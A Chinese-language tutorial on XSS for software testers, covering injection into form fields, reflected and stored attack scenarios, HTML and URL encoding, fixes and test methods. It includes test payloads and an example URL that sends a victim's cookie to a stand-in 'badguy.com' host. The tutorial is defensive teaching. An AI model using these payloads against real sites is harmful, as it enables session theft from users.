Web安全測(cè)試之XSS實(shí)例講解
Web安全測(cè)試之XSS
XSS 全稱(Cross Site Scripting) 跨站腳本攻擊, 是Web程序中最常見(jiàn)的漏洞。指攻擊者在網(wǎng)頁(yè)中嵌入客戶端腳本(例如JavaScript), 當(dāng)用戶瀏覽此網(wǎng)頁(yè)時(shí),腳本就會(huì)在用戶的瀏覽器上執(zhí)行,從而達(dá)到攻擊者的目的. 比如獲取用戶的Cookie,導(dǎo)航到惡意網(wǎng)站,攜帶木馬等。
作為測(cè)試人員,需要了解XSS的原理,攻擊場(chǎng)景,如何修復(fù)。 才能有效的防止XSS的發(fā)生。
閱讀目錄
- XSS 是如何發(fā)生的
- HTML Encode
- XSS 攻擊場(chǎng)景
- XSS漏洞的修復(fù)
- 如何測(cè)試XSS漏洞
- HTML Encode 和URL Encode的區(qū)別
- 瀏覽器中的XSS過(guò)濾器
- ASP.NET中的XSS安全機(jī)制
XSS 是如何發(fā)生的呢
假如有下面一個(gè)textbox
<input type="text" name="address1" value="value1from">
value1from是來(lái)自用戶的輸入,如果用戶不是輸入value1from,而是輸入 "/><script>alert(document.cookie)</script><!- 那么就會(huì)變成
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">
嵌入的JavaScript代碼將會(huì)被執(zhí)行
或者用戶輸入的是 "onfocus="alert(document.cookie) 那么就會(huì)變成
<input type="text" name="address1" value="" onfocus="alert(document.cookie)">
事件被觸發(fā)的時(shí)候嵌入的JavaScript代碼將會(huì)被執(zhí)行
攻擊的威力,取決于用戶輸入了什么樣的腳本
當(dāng)然用戶提交的數(shù)據(jù)還可以通過(guò)QueryString(放在URL中)和Cookie發(fā)送給服務(wù)器. 例如下圖
HTML Encode
XSS之所以會(huì)發(fā)生, 是因?yàn)橛脩糨斎氲臄?shù)據(jù)變成了代碼。 所以我們需要對(duì)用戶輸入的數(shù)據(jù)進(jìn)行HTML Encode處理。 將其中的"中括號(hào)", “單引號(hào)”,“引號(hào)” 之類(lèi)的特殊字符進(jìn)行編碼。
在C#中已經(jīng)提供了現(xiàn)成的方法,只要調(diào)用HttpUtility.HtmlEncode("string <scritp>") 就可以了。 (需要引用System.Web程序集)
Fiddler中也提供了很方便的工具, 點(diǎn)擊Toolbar上的"TextWizard" 按鈕
XSS 攻擊場(chǎng)景
1. Dom-Based XSS 漏洞 攻擊過(guò)程如下
Tom 發(fā)現(xiàn)了Victim.com中的一個(gè)頁(yè)面有XSS漏洞,
例如: http://victim.com/search.asp?term=apple
服務(wù)器中Search.asp 頁(yè)面的代碼大概如下
<html> <title></title> <body> Results for <%Reequest.QueryString("term")%> ... </body> </html>
Tom 先建立一個(gè)網(wǎng)站http://badguy.com, 用來(lái)接收“偷”來(lái)的信息。
然后Tom 構(gòu)造一個(gè)惡意的url(如下), 通過(guò)某種方式(郵件,QQ)發(fā)給Monica
http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>
Monica點(diǎn)擊了這個(gè)URL, 嵌入在URL中的惡意Javascript代碼就會(huì)在Monica的瀏覽器中執(zhí)行. 那么Monica在victim.com網(wǎng)站的cookie, 就會(huì)被發(fā)送到badguy網(wǎng)站中。這樣Monica在victim.com 的信息就被Tom盜了.
2. Stored XSS(存儲(chǔ)式XSS漏洞), 該類(lèi)型是應(yīng)用廣泛而且有可能影響大Web服務(wù)器自身安全的漏洞,攻擊者將攻擊腳本上傳到Web服務(wù)器上,使得所有訪問(wèn)該頁(yè)面的用戶都面臨信息泄露的可能。 攻擊過(guò)程如下
Alex發(fā)現(xiàn)了網(wǎng)站A上有一個(gè)XSS 漏洞,該漏洞允許將攻擊代碼保存在數(shù)據(jù)庫(kù)中,
Alex發(fā)布了一篇文章,文章中嵌入了惡意JavaScript代碼。
其他人如Monica訪問(wèn)這片文章的時(shí)候,嵌入在文章中的惡意Javascript代碼就會(huì)在Monica的瀏覽器中執(zhí)行,其會(huì)話cookie或者其他信息將被Alex盜走。
Dom-Based XSS漏洞威脅用戶個(gè)體,而存儲(chǔ)式XSS漏洞所威脅的對(duì)象將是大量的用戶.
XSS 漏洞修復(fù)
原則: 不相信客戶輸入的數(shù)據(jù)
注意: 攻擊代碼不一定在<script></script>中
- 將重要的cookie標(biāo)記為http only, 這樣的話Javascript 中的document.cookie語(yǔ)句就不能獲取到cookie了.
- 只允許用戶輸入我們期望的數(shù)據(jù)。 例如: 年齡的textbox中,只允許用戶輸入數(shù)字。 而數(shù)字之外的字符都過(guò)濾掉。
- 對(duì)數(shù)據(jù)進(jìn)行Html Encode 處理
- 過(guò)濾或移除特殊的Html標(biāo)簽, 例如: <script>, <iframe> , < for <, > for >, " for
- 過(guò)濾JavaScript 事件的標(biāo)簽。例如 "onclick=", "onfocus" 等等。
如何測(cè)試XSS漏洞
方法一: 查看代碼,查找關(guān)鍵的變量, 客戶端將數(shù)據(jù)傳送給Web 服務(wù)端一般通過(guò)三種方式 Querystring, Form表單,以及cookie. 例如在ASP的程序中,通過(guò)Request對(duì)象獲取客戶端的變量
<% strUserCode = Request.QueryString(“code”); strUser = Request.Form(“USER”); strID = Request.Cookies(“ID”); %>
假如變量沒(méi)有經(jīng)過(guò)htmlEncode處理, 那么這個(gè)變量就存在一個(gè)XSS漏洞
方法二: 準(zhǔn)備測(cè)試腳本,
"/><script>alert(document.cookie)</script><!-- <script>alert(document.cookie)</script><!-- "onclick="alert(document.cookie)
在網(wǎng)頁(yè)中的Textbox或者其他能輸入數(shù)據(jù)的地方,輸入這些測(cè)試腳本, 看能不能彈出對(duì)話框,能彈出的話說(shuō)明存在XSS漏洞
在URL中查看有那些變量通過(guò)URL把值傳給Web服務(wù)器, 把這些變量的值退換成我們的測(cè)試的腳本。 然后看我們的腳本是否能執(zhí)行
方法三: 自動(dòng)化測(cè)試XSS漏洞
現(xiàn)在已經(jīng)有很多XSS掃描工具了。 實(shí)現(xiàn)XSS自動(dòng)化測(cè)試非常簡(jiǎn)單,只需要用HttpWebRequest類(lèi)。 把包含xss 測(cè)試腳本。發(fā)送給Web服務(wù)器。 然后查看HttpWebResponse中,我們的XSS測(cè)試腳本是否已經(jīng)注入進(jìn)去了。
HTML Encode 和URL Encode的區(qū)別
剛開(kāi)始我老是把這兩個(gè)東西搞混淆, 其實(shí)這是兩個(gè)不同的東西。
HTML編碼前面已經(jīng)介紹過(guò)了,關(guān)于URL 編碼是為了符合url的規(guī)范。因?yàn)樵跇?biāo)準(zhǔn)的url規(guī)范中中文和很多的字符是不允許出現(xiàn)在url中的。
例如在baidu中搜索"測(cè)試漢字"。 URL會(huì)變成
http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477
所謂URL編碼就是: 把所有非字母數(shù)字字符都將被替換成百分號(hào)(%)后跟兩位十六進(jìn)制數(shù),空格則編碼為加號(hào)(+)
在C#中已經(jīng)提供了現(xiàn)成的方法,只要調(diào)用HttpUtility.UrlEncode("string <scritp>") 就可以了。 (需要引用System.Web程序集)
Fiddler中也提供了很方便的工具, 點(diǎn)擊Toolbar上的"TextWizard" 按鈕
瀏覽器中的XSS過(guò)濾器
為了防止發(fā)生XSS, 很多瀏覽器廠商都在瀏覽器中加入安全機(jī)制來(lái)過(guò)濾XSS。 例如IE8,IE9,F(xiàn)irefox, Chrome. 都有針對(duì)XSS的安全機(jī)制。 瀏覽器會(huì)阻止XSS。 例如下圖
如果需要做測(cè)試, 最好使用IE7。
ASP.NET中的XSS安全機(jī)制
ASP.NET中有防范XSS的機(jī)制,對(duì)提交的表單會(huì)自動(dòng)檢查是否存在XSS,當(dāng)用戶試圖輸入XSS代碼的時(shí)候,ASP.NET會(huì)拋出一個(gè)錯(cuò)誤如下圖
很多程序員對(duì)安全沒(méi)有概念, 甚至不知道有XSS的存在。 ASP.NET在這一點(diǎn)上做到默認(rèn)安全。 這樣的話就算是沒(méi)有安全意識(shí)的程序員也能寫(xiě)出一個(gè)”較安全的網(wǎng)站“。
如果想禁止這個(gè)安全特性, 可以通過(guò) <%@ Page validateRequest=“false" %>
以上就是Web安全測(cè)試之XSS,后續(xù)繼續(xù)整理相關(guān)的軟件測(cè)試資料,謝謝大家對(duì)本站的支持!
- java selenium處理Iframe中的元素示例
- java selenium智能等待頁(yè)面加載完成示例代碼
- java selenium 操作彈出窗口示例代碼
- java selenium操作彈出對(duì)話框示例講解
- java selenium 操作瀏覽器實(shí)例
- java selenium 常見(jiàn)web UI 元素操作及API使用
- java selenium Selenium IDE介紹及用法
- java selenium XPath 定位實(shí)現(xiàn)方法
- java selenium元素定位大全
- java selenium使用瀏覽器調(diào)試工具實(shí)現(xiàn)方法
- java selenium教程環(huán)境搭建基于Maven
相關(guān)文章
淺談JS運(yùn)算符&&和|| 及其優(yōu)先級(jí)
下面小編就為大家?guī)?lái)一篇淺談JS運(yùn)算符&&和|| 及其優(yōu)先級(jí)。小編覺(jué)得挺不錯(cuò)的,現(xiàn)在就分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧2016-08-08js設(shè)置cookie過(guò)期當(dāng)前時(shí)間減去一秒相當(dāng)于立即過(guò)期
這篇文章主要介紹了設(shè)置js cookie過(guò)期(相當(dāng)于清除瀏覽器對(duì)應(yīng)名稱的cookie)使用方法是當(dāng)前時(shí)間減去一秒相當(dāng)于立即過(guò)期2014-09-09javascript仿163網(wǎng)盤(pán)無(wú)刷新文件上傳系統(tǒng)
這個(gè)仿163網(wǎng)盤(pán)無(wú)刷新文件上傳系統(tǒng),并沒(méi)有用使用.net的控件,完全的手工制作。2008-10-10JavaScript利用fetch實(shí)現(xiàn)異步請(qǐng)求的方法實(shí)例
傳遞信息到服務(wù)器,從服務(wù)器獲取信息,是前端發(fā)展的重中之重,尤其是現(xiàn)在前后端分離的大前提下,前后端的數(shù)據(jù)交互是前端的必修科目了,下面這篇文章主要給大家介紹了關(guān)于JavaScript利用fetch實(shí)現(xiàn)異步請(qǐng)求的相關(guān)資料,需要的朋友可以參考借鑒。2017-07-07TypeScript中類(lèi)的基礎(chǔ)概念和使用詳解
這篇文章主要為大家詳細(xì)介紹了TypeScript?中類(lèi)的概念和用法,文中的示例代碼講解詳細(xì),希望能幫助大家更好地理解和運(yùn)用?TypeScript?中的類(lèi)2023-06-06JS組件Bootstrap實(shí)現(xiàn)下拉菜單效果代碼
這篇文章主要為大家詳細(xì)介紹了JS組件Bootstrap實(shí)現(xiàn)下拉菜單效果代碼,感興趣的小伙伴們可以參考一下2016-04-04JavaScript獲取網(wǎng)頁(yè)表單提交方式的方法
這篇文章主要介紹了JavaScript獲取網(wǎng)頁(yè)表單提交方式的方法,可判斷表單提交方式是get還是post,具有一定參考借鑒價(jià)值,需要的朋友可以參考下2015-04-04webpack+express實(shí)現(xiàn)文件精確緩存的示例代碼
這篇文章主要介紹了webpack+express實(shí)現(xiàn)文件精確緩存的示例代碼,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2020-06-06